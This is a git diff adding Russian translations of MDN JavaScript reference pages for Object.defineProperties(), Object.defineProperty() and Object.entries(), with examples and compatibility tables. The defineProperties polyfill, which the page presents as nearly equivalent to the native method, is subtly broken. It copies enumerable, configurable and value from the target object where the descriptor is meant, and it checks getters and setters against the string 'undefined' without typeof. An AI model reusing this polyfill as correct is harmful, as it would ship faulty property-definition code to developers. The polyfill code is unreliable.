+  <h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+  <p>Объект, переданный в функцию.</p>
+  </dt>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>Object.defineProperties()</code>, по сути, определяет все свойства, соответствующие собственным свойствам объекта <code>props</code>, на объекте <code>obj</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Object.defineProperties(obj, {
+  'property1': {
+    value: true,
+    writable: true
+  },
+  'property2': {
+    value: 'Hello',
+    writable: false
+  }
+  // и т.д.
+});
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Предполагается, что среда выполнения осталась нетронутой, все имена и свойства ссылаются на свои изначальные значения. Оригинальный метод <code>Object.defineProperties</code> почти полностью эквивалентен (смотрите комментарий в функции <code>isCallable</code>) следующей реализации на JavaScript:</p>
+
+<pre class="brush: js; highlight: [8];">function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB: изменить при необходимости считать вызываемым что-то ещё, кроме функций.
+      return typeof v === 'function';
+    }
+
+    if (typeof desc !== 'object' || desc === null) {
+      throw new TypeError('bad desc');
+    }
+
+    var d = {};
+
+    if (hasProperty(desc, 'enumerable')) {
+      d.enumerable = !!obj.enumerable;
+    }
+    if (hasProperty(desc, 'configurable')) {
+      d.configurable = !!obj.configurable;
+    }
+    if (hasProperty(desc, 'value')) {
+      d.value = obj.value;
+    }
+    if (hasProperty(desc, 'writable')) {
+      d.writable = !!desc.writable;
+    }
+    if (hasProperty(desc, 'get')) {
+      var g = desc.get;
+
+      if (!isCallable(g) &amp;&amp; g !== 'undefined') {
+        throw new TypeError('bad get');
+      }
+      d.get = g;
+    }
+    if (hasProperty(desc, 'set')) {
+      var s = desc.set;
+      if (!isCallable(s) &amp;&amp; s !== 'undefined') {
+        throw new TypeError('bad set');
+      }
+      d.set = s;
+    }
+
+    if (('get' in d || 'set' in d) &amp;&amp; ('value' in d || 'writable' in d)) {
+      throw new TypeError('identity-confused descriptor');
+    }
+
+    return d;
+  }
+
+  if (typeof obj !== 'object' || obj === null) {
+    throw new TypeError('bad obj');
+  }
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i &lt; keys.length; i++) {
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+  }
+
+  for (var i = 0; i &lt; descs.length; i++) {
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+  }
+
+  return obj;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatChrome("5")}} (предыдущие версии не проверялись)</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile("11.50")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/ru/docs/Enumerability_and_ownership_of_properties">Перечисляемость и собственность свойств</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/ru/web/javascript/reference/global_objects/object/defineproperty/index.html
new file mode 100644
index 0000000000..41accdbee2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/defineproperty/index.html
@@ -0,0 +1,399 @@
+---
+title: Object.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>Object.defineProperty()</strong></code> определяет новое или изменяет существующее свойство непосредственно на объекте, возвращая этот объект.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, на котором определяется свойство.</dd>
+ <dt><code>prop</code></dt>
+ <dd>Имя определяемого или изменяемого свойства.</dd>
+ <dt><code>descriptor</code></dt>
+ <dd>Дескриптор определяемого или изменяемого свойства.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Этот метод позволяет точно добавлять или изменять свойства объекта. Обычное добавление свойств через присваивание создаёт свойства, которые можно увидеть через перечисление свойств (с помощью цикла {{jsxref("Statements/for...in", "for...in")}} или метода {{jsxref("Object.keys")}}), чьи значения могут быть изменены и которые могут быть {{jsxref("Operators/delete", "удалены", "", 1)}}. Этот же метод позволяет настроить эти дополнительные детали свойства.</p>
+
+<p>Дескрипторы свойств, присутствующие в объектах, бывают двух основных типов: дескрипторы данных и дескрипторы доступа. <em><dfn>Дескриптор данных</dfn></em> — это свойство, имеющее значение, которое может быть (а может и не быть) записываемым. <em><dfn>Дескриптор доступа</dfn></em> — это свойство, описываемое парой функций — геттером и сеттером. Дескриптор может быть только чем-то одним из этих двух типов; он не может быть одновременно обоими.</p>
+
+<p>И дескриптор данных, и дескриптор доступа являются объектами. Они обладают следующими обязательными ключами:</p>
+
+<dl>
+ <dt><code>configurable</code></dt>
+ <dd>Равен <code>true</code> только в том случае, если тип этого дескриптора свойства может быть изменён и если свойство может быть удалено из содержащего его объекта.<br>
+ <strong>Значение по умолчанию установлено в <code>false</code>.</strong></dd>
+ <dt><code>enumerable</code></dt>
+ <dd>Равен <code>true</code> только в том случае, если это свойство можно увидеть через перечисление свойств содержащего его объекта.<br>
+ <strong>Значение по умолчанию установлено в <code>false</code>.</strong></dd>
+</dl>
+
+<p>Дескриптор данных также может содержать следующие дополнительные ключи:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, ассоциированное со свойством. Может быть любым допустимым значением JavaScript (числом, объектом, функцией и т.д.).<br>
+ <strong>Значение по умолчанию установлено в {{jsxref("Global_Objects/undefined", "undefined")}}.</strong></dd>
+ <dt><code>writable</code></dt>
+ <dd>Равен <code>true</code> только в том случае, если значение, ассоциированное со свойством, может быть изменено с помощью {{jsxref("Operators/Assignment_Operators", "оператора присваивания", "", 1)}}.<br>
+ <strong>Значение по умолчанию установлено в <code>false</code>.</strong></dd>
+</dl>
+
+<p>Дескриптор доступа также может содержать следующие дополнительные ключи:</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>Функция, используемая как геттер свойства, либо {{jsxref("Global_Objects/undefined", "undefined")}}, если свойство не имеет геттера. Возвращаемое значение функции будет использоваться как значение свойства.<br>
+ <strong>Значение по умолчанию установлено в {{jsxref("Global_Objects/undefined", "undefined")}}.</strong></dd>
+ <dt><code>set</code></dt>
+ <dd>Функция, используемая как сеттер свойства, либо {{jsxref("Global_Objects/undefined", "undefined")}}, если свойство не имеет сеттера. Функция принимает единственным аргументом новое значение, присваиваемое свойству.<br>
+ <strong>Значение по умолчанию установлено в {{jsxref("Global_Objects/undefined", "undefined")}}.</strong></dd>
+</dl>
+
+<p>Имейте в виду, что эти ключи не обязательно должны принадлежать самому дескриптору свойства, если они унаследованы, они так же будут приниматься во внимание. Для сохранения этих ключей по умолчанию неизменными, вы можете заранее заморозить {{jsxref("Object.prototype")}}, явно определив все ключи, либо установить свойство {{jsxref("Object.prototype.__proto__", "__proto__")}} в {{jsxref("Global_Objects/null", "null")}}.</p>
+
+<pre class="brush:js">// Использование __proto__
+Object.defineProperty(obj, 'key', {
+  __proto__: null, // нет унаследованных свойств
+  value: 'static'  // по умолчанию
+                   // не перечисляется,
+                   // не настраивается и
+                   // не перезаписывается
+});
+
+// Явное определение свойства
+Object.defineProperty(obj, 'key', {
+  enumerable: false,
+  configurable: false,
+  writable: false,
+  value: 'static'
+});
+
+// Переиспользование одного и того же объекта
+function withValue(value) {
+  var d = withValue.d || (
+    withValue.d = {
+      enumerable: false,
+      writable: false,
+      configurable: false,
+      value: null
+    }
+  );
+  d.value = value;
+  return d;
+}
+// ... и ...
+Object.defineProperty(obj, 'key', withValue('static'));
+
+// Если доступен метод freeze, предотвращаем добавление свойств
+// value, get, set, enumerable, writable и configurable
+// к прототипу Object
+(Object.freeze || Object)(Object.prototype);
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Если вы хотите посмотреть, как использовать метод <code>Object.defineProperty()</code> с синтаксисом <em>похожим-на-бинарные-флаги</em>, смотрите <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">дополнительные примеры</a>.</p>
+
+<h3 id="Example:_Creating_a_property" name="Example:_Creating_a_property">Пример: создание свойства</h3>
+
+<p>Если указанное свойство не существует в объекте, метод <code>Object.defineProperty()</code> создаст новое свойство по переданному описанию. Поля в дескрипторе могут быть опущены, в этом случае их значения будут значениями по умолчанию. Все логические поля будут по-умолчанию установлены в <code>false</code>. Поля <code>value</code>, <code>get</code> и <code>set</code> по умолчанию будут установлены в {{jsxref("Global_Objects/undefined", "undefined")}}. Свойство, определённое без атрибутов <code>get</code>/<code>set</code>/<code>value</code>/<code>writable</code> называется «общим», а дескриптор данных — «типовым».</p>
+
+<pre class="brush: js">var o = {}; // Создаём новый объект
+
+// Пример добавления свойства к объекту через defineProperty()
+// с дескриптором данных
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: true,
+  enumerable: true,
+  configurable: true
+});
+// Свойство 'a' существует в объекте o и имеет значение, равное 37
+
+// Пример добавления свойства к объекту через defineProperty()
+// с дескриптором доступа
+var bValue = 38;
+Object.defineProperty(o, 'b', {
+  get: function() { return bValue; },
+  set: function(newValue) { bValue = newValue; },
+  enumerable: true,
+  configurable: true
+});
+o.b; // 38
+// Свойство 'b' существует в объекте o и имеет значение, равное 38
+// Значение свойства o.b теперь идентично значению bValue до тех пор,
+// пока свойство o.b не будет переопределено
+
+// Вы не можете смешать два этих подхода:
+Object.defineProperty(o, 'conflict', {
+  value: 0x9f91102,
+  get: function() { return 0xdeadbeef; }
+});
+// Выкинет исключение TypeError: свойство value применимо только в
+// дескрипторах данных, свойство get применимо только в дескрипторах
+// доступа
+</pre>
+
+<h3 id="Example:_Modifying_a_property" name="Example:_Modifying_a_property">Пример: изменение свойства</h3>
+
+<p>Если свойство уже существует, метод <code>Object.defineProperty()</code> попытается изменить свойство в соответствии со значениями в дескрипторе и текущим состоянием объекта. Если у старого дескриптора атрибут <code>configurable</code> был установлен в <code>false</code> (говорит, что свойство является «ненастраиваемым»), то никакие атрибуты, кроме атрибута <code>writable</code>, не смогут быть изменены. В этом случае так же невозможно переключаться между типами дескрипторов.</p>
+
+<p>Если свойство является ненастраиваемым, его атрибут <code>writable</code> может быть изменён только на значение <code>false</code>.</p>
+
+<p>При попытке изменить ненастраиваемые атрибуты свойства будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} (кроме случая изменения атрибута <code>writable</code>), даже в том случае, если текущее и новое значения идентичны.</p>
+
+<h4 id="Writable_attribute" name="Writable_attribute">Атрибут <code>writable</code></h4>
+
+<p>Если атрибут <code>writable</code> свойства установлен в <code>false</code>, свойство становится «незаписываемым». Ему невозможно будет присвоить новое значение.</p>
+
+<pre class="brush: js">var o = {}; // Создаём новый объект
+
+Object.defineProperty(o, 'a', {
+  value : 37,
+  writable : false
+});
+
+console.log(o.a); // Выведет 37
+o.a = 25; // Исключение не будет выброшено (будет выброшено только в
+          // строгом режиме, даже если значение будет тем же самым)
+console.log(o.a); // Выведет 37. Присваивание не сработало.
+</pre>
+
+<p>Как видно в этом примере, попытка записи в незаписываемое свойство его не изменило, но и исключение так же не было выброшено.</p>
+
+<h4 id="Enumerable_attribute" name="Enumerable_attribute">Атрибут <code>enumerable</code></h4>
+
+<p>Атрибут <code>enumerable</code> свойства определяет, просматривается ли свойство в цикле {{jsxref("Statements/for...in", "for...in")}} и методом {{jsxref("Object.keys()")}} или нет.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', { value: 1, enumerable: true });
+Object.defineProperty(o, 'b', { value: 2, enumerable: false });
+// Атрибут enumerable по умолчанию установлен в false
+Object.defineProperty(o, 'c', { value: 3 });
+
+o.d = 4; // При создании свойства путём присваивания, атрибут enumerable
+         // по умолчанию установливается в true
+
+for (var i in o) {
+  console.log(i);
+}
+// Выведет 'a' и 'd' (порядок вывода не определён)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+</pre>
+
+<h4 id="Configurable_attribute" name="Configurable_attribute">Атрибут <code>configurable</code></h4>
+
+<p>Атрибут <code>configurable</code> одновременно контролирует, может ли свойство быть удалено из объекта и могут ли быть изменены его атрибуты (кроме контроля изменения атрибута <code>writable</code>).</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+  get: function() { return 1; },
+  configurable: false
+});
+
+Object.defineProperty(o, 'a', { configurable: true }); // Выкинет TypeError
+Object.defineProperty(o, 'a', { enumerable: true }); // Выкинет TypeError
+Object.defineProperty(o, 'a', { set: function() {} }); // Выкинет TypeError (ранее свойство set дескриптора не было определено)
+Object.defineProperty(o, 'a', { get: function() { return 1; } }); // Выкинет TypeError (даже несмотря на то, что get делает то же, что и раньше)
+Object.defineProperty(o, 'a', { value: 12 }); // Выкинет TypeError
+
+console.log(o.a); // Выведет 1
+delete o.a; // Ничего не произойдёт
+console.log(o.a); // Выведет 1
+</pre>
+
+<p>Если бы атрибут <code>configurable</code> объекта <code>o.a</code> был установлен в <code>true</code>, никакие ошибки не были бы выброшены и в конце свойство было бы удалено.</p>
+
+<h3 id="Example:_Adding_properties_and_default_values" name="Example:_Adding_properties_and_default_values">Пример: добавление свойств и значений по умолчанию</h3>
+
+<p>Важно понимать, как устанавливаются значения по умолчанию атрибутам свойств. Часто существует разница между простым назначением значения посредством точечной нотации и использованием метода <code>Object.defineProperty()</code>, что и показывает пример ниже.</p>
+
+<pre class="brush: js">var o = {};
+
+o.a = 1;
+// Эквивалентно записи:
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: true,
+  configurable: true,
+  enumerable: true
+});
+
+
+// С другой стороны,
+Object.defineProperty(o, 'a', { value: 1 });
+// эквивалентно записи:
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: false,
+  configurable: false,
+  enumerable: false
+});
+</pre>
+
+<h3 id="Example:_Custom_setters_and_getters" name="Example:_Custom_setters_and_getters">Пример: пользовательские сеттеры и геттеры</h3>
+
+<p>Пример ниже показывает, как реализовать самоархивирующийся объект. При установке свойства <code>temperature</code> в массив <code>archive</code> попадает запись журнала.</p>
+
+<pre class="brush: js">function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatChrome("5")}} (предыдущие версии не проверялись)</td>
+   <td>{{CompatIE("9")}} ({{CompatIE("8")}}, но только на объектах DOM с нестандартным поведением. <a href="#Internet_Explorer_8_specific_notes">Подробности смотрите ниже</a>.)</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5.1")}} ({{CompatSafari("5")}}, кроме объектов DOM)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("9")}} и выше</td>
+   <td>{{CompatOperaMobile("11.50")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h3 id="Redefining_the_length_property_of_an_Array_object" name="Redefining_the_length_property_of_an_Array_object">Переопределение свойства <code>length</code> на объекте <code>Array</code></h3>
+
+<p>На массивах возможно переопределить свойство {{jsxref("Array.length", "length")}}, при условии соблюдения обычных ограничений на переопределение. (Изначально свойство {{jsxref("Array.length", "length")}} является ненастраиваемым, неперечисляемым и записываемым. Таким образом, на неизменнённом массиве возможно изменить значение свойства {{jsxref("Array.length", "length")}} либо сделать его незаписываемым. Его перечисляемость или настраиваемость изменить нельзя, так же как и его записываемость, если оно сделано не записываемым.) Однако не все браузеры поддерживают такое переопределение.</p>
+
+<p>Firefox с версии 4 по версию 22 бросает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} на любую попытку (вне зависимости от того, разрешена ли она или нет) переопределить свойство {{jsxref("Array.length", "length")}} массива.</p>
+
+<p>Версии Chrome, реализующие метод <code>Object.defineProperty()</code>, в некоторых случаях игнорируют значение <code>length</code> отличное от текущего значения свойства {{jsxref("Array.length", "length")}} массива. В некоторых случаях изменение записываемости свойства просто не работает без каких-либо сообщений об ошибках (и выбрасываемых исключений). Также, в связи с вышесказанным, некоторые методы изменения массива, вроде метода {{jsxref("Array.prototype.push")}}, не обращают внимания на незаписываемое свойство {{jsxref("Array.length", "length")}}.</p>
+
+<p>Версии Safari, реализующие метод <code>Object.defineProperty()</code>, игнорируют значение <code>length</code>, отличное от текущего значения свойства {{jsxref("Array.length", "length")}} массива, и попытка изменить записываемость свойства выполнится без ошибок, но на самом деле записываемость свойства не изменится.</p>
+
+<p>Только Internet Explorer 9 и выше, а так же Firefox 23 и выше, по-видимому, полностью и правильно реализуют переопределение свойства {{jsxref("Array.length", "length")}} массивов. В настоящее время не стоит полагаться на работу переопределения свойства {{jsxref("Array.length", "length")}} массива, или что оно работает определённым образом. И даже если вы <em>можете</em> положиться на это, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">есть действительно веская причина не делать этого</a>.</p>
+
+<h3 id="Internet_Explorer_8_specific_notes" name="Internet_Explorer_8_specific_notes">Примечания по Internet Explorer 8</h3>
+
+<p>Реализация метода <code>Object.defineProperty()</code> в Internet Explorer 8 предусматривает, что он может быть <a class="external" href="http://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">использован только для объектов DOM</a>. Нужно также отметить несколько моментов:</p>
+
+<ul>
+ <li>Попытка использовать <code>Object.defineProperty()</code> на родных объектах приведёт к ошибке.</li>
+ <li>Атрибуты свойств должны быть равны определённым значениям. Атрибуты <code>configurable</code>, <code>enumerable</code> и <code>writable</code> дескриптора данных должны содержать значения <code>true</code>, <code>true</code> и <code>true</code>, а атрибуты <code>configurable</code> и <code>enumerable</code> дескриптора доступа должны содержать значения <code>true</code> и <code>false</code> соответственно.(?) Любая попытка присвоить атрибутам другие значения приведёт к ошибке.</li>
+ <li>Для того, чтобы изменить конфигурацию свойства, сначала его нужно удалить. Если свойство не будет удалено, оно останется в том же виде, что и до попытки изменения его конфигурации.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Enumerability_and_ownership_of_properties">Перечисляемость и собственность свойств</a></li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Дополнительные примеры по <code>Object.defineProperty()</code></a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html
new file mode 100644
index 0000000000..505065970b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html
@@ -0,0 +1,121 @@
+---
+title: Object.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Object/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.entries()</strong></code> метод возвращает массив собственных перечисляемых свойств указанного объекта в формате <code>[key, value]</code>, в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается <code><strong>Object.entries()</strong></code> не зависит от того как объект обьявлен. Если существует необходимость в определенном порядке, то  массив должен быть отсортирован до вызова метода, например <code>Object.entries(obj).sort((a, b) =&gt; a[0] - b[0]);</code>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.entries(<var>obj</var>)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, чьи перечислимые свойства будут возвращены в виде массива <code>[key, value]</code>.</dd>
+ <dt>
+ <h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+ </dt>
+ <dd>Массив перечислений собственных свойств объекта с парами <code>[key, value]</code>.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>Object.entries()</code> возвращает массив, элементами которого являются массивы, соответсвующие перечисляемому свойству пары <code>[key, value],</code> найденной прямо в <code>object</code>. Порядок свойств тот же, что и при прохождении циклом по свойствам объекта вручную.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">var obj = { foo: "bar", baz: 42 };
+console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ]
+
+// массив как объект
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
+
+// массив как объект c random сортировкой ключей
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.entries(an_obj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
+
+// getFoo is property which isn't enumerable
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = "bar";
+console.log(Object.entries(my_obj)); // [ ['foo', 'bar'] ]
+
+// non-object argument will be coerced to an object
+console.log(Object.entries("foo")); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]</pre>
+
+<pre class="notranslate"><code>// returns an empty array for any primitive type, since primitives have no own properties
+console.log(Object.entries(100)); // [ ]
+
+// iterate through key-value gracefully
+const obj = { a: 5, b: 7, c: 9 };
+for (const [key, value] of Object.entries(obj)) {
+  console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
+}
+
+// Or, using array extras
+Object.entries(obj).forEach(([key, value]) =&gt; {
+  console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
+});</code></pre>
+
+<h3 id="Преобразование_Object_в_Map">Преобразование <code>Object</code> в <code>Map</code></h3>
+
+<p>Конструктор {{jsxref("Map", "new Map()")}} принимает повторение <em>значений</em>. С <code>Object.entries </code>вы легко можете преобразовать {{jsxref("Object")}} в {{jsxref("Map")}}:</p>
+
+<pre class="brush: js notranslate">var obj = { foo: "bar", baz: 42 };
+var map = new Map(Object.entries(obj));
+console.log(map); // Map { foo: "bar", baz: 42 }</pre>
+
+<h3 id="Итерация_по_Object">Итерация по <code>Object</code></h3>
+
+<p>Используя <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#%D0%A0%D0%B0%D0%B7%D0%B1%D0%BE%D1%80_%D0%BC%D0%B0%D1%81%D1%81%D0%B8%D0%B2%D0%BE%D0%B2">метод Разбора Массивов</a> Вы можете легко итерировать объекты.</p>
+
+<pre class="notranslate"><code>const obj = { foo: 'bar', baz: 42 };
+Object.entries(obj).forEach(([key, value]) =&gt; console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42"</code></pre>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Чтобы добавить поддержку <code>Object.entries</code> в более старых окружениях, которые не поддерживают его нативно, вы можете найти полифил в <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> или <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a> репозиториях.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Пока не включена в официальный проект. Смотрите это  <a href="https://github.com/tc39/proposal-object-values-entries">предложение stage3</a> для проекта текста текущей спецификации</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("javascript.builtins.Object.entries")}}</p>
+</div>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
